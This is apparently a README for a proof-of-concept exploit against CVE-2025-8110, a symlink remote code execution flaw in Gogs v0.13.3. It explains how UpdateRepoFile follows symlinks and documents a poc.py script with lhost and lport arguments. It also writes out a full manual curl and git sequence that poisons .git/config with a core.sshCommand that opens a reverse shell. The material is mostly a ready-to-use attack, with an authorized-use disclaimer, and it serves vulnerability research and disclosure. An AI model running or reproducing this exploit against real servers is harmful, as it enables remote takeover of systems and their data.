
One-shot exploit for Gogs symlink RCE (CVE-2025-8110) that triggers a reverse shell via a single PUT request to UpdateRepoFile.
Python proof-of-concept script for CVE-2025-8110 — Gogs v0.13.3 UpdateRepoFile symlink RCE. Single-shot: the malicious PUT itself triggers git fetch → sshCommand → reverse shell.
⚠️ For educational and authorized security research only. Running this tool against systems you do not own or lack written permission to test is illegal.
The UpdateRepoFile handler in internal/db/repo_editor.go calls os.WriteFile to write file content, which follows symlinks without checking for them. Combined with the fact that previous commits of symlinks traverse into , an attacker can:
.git/x → .git/config to the bare repoPUT /api/v1/repos/{owner}/{repo}/contents/x with a malicious .git/config containing core.sshCommand set to a reverse shell commandgit fetch origin (via CreateOrUpdateRepoFile → UpdateLocalCopyBranch), which reads the modified config and executes sshCommand — spawning a reverse shell in one shot.poc.py: prompts for target, username, password, LHOST, and LPORT; logs in, creates an API token, creates a repository, pushes a symlink, and overwrites .git/config via the API — the single PUT request itself triggers the reverse shell.Run:
python3 poc.py --target https://gogs.example.com --username admin --password admin123 --lhost 10.10.14.206 --lport 9001
| Argument | Required | Description |
|---|---|---|
--target / -t | Yes | Gogs target hostname or URL |
--username | Yes | Existing Gogs username |
--password | Yes | Existing Gogs password |
--lhost | Yes | Listener IP for reverse shell |
--lport | Yes | Listener port |
/user/settings/applicationsx → .git/config, commits and pushes itPUT /api/v1/repos/{owner}/{repo}/contents/x with a malicious git config containing core.sshCommand and an SSH remote URL. Gogs's CreateOrUpdateRepoFile internally calls UpdateLocalCopyBranch → git fetch origin, which reads the poisoned config and executes sshCommand — spawning a reverse shell in one request.curl -c /tmp/gogs-cookies -b /tmp/gogs-cookies http://target/user/login
# Extract _csrf from response
curl -c /tmp/gogs-cookies -b /tmp/gogs-cookies -X POST http://target/user/login \
-d '_csrf=<csrf>&user_name=<user>&password=<pass>'
curl -c /tmp/gogs-cookies -b /tmp/gogs-cookies http://target/user/settings/applications
# Extract _csrf
curl -c /tmp/gogs-cookies -b /tmp/gogs-cookies -X POST http://target/user/settings/applications \
-d '_csrf=<csrf>&name=poc-token'
curl -X POST http://target/api/v1/user/repos \
-H "Authorization: token <token>" \
-H "Content-Type: application/json" \
-d '{"name":"poc-repo"}'
git clone http://<user>:<token>@target/<user>/poc-repo.git
cd poc-repo
ln -s .git/config x
git add x
git commit -m "add symlink"
git push origin master
curl -X PUT http://target/api/v1/repos/<user>/poc-repo/contents/x \
-H "Authorization: token <token>" \
-H "Content-Type: application/json" \
--max-time 10 \
-d '{"message":"x","content":"<base64 of malicious git config>"}'
The PUT request itself triggers git fetch origin, which reads the poisoned .git/config and executes the reverse shell. No second request is needed.
Why
--max-time 10? The server may hang for ~10s while git processes the write and triggers the fetch. Using--max-time 10ensures curl keeps the connection open long enough for the shell to connect back. Without it, the connection may drop before the shell fires.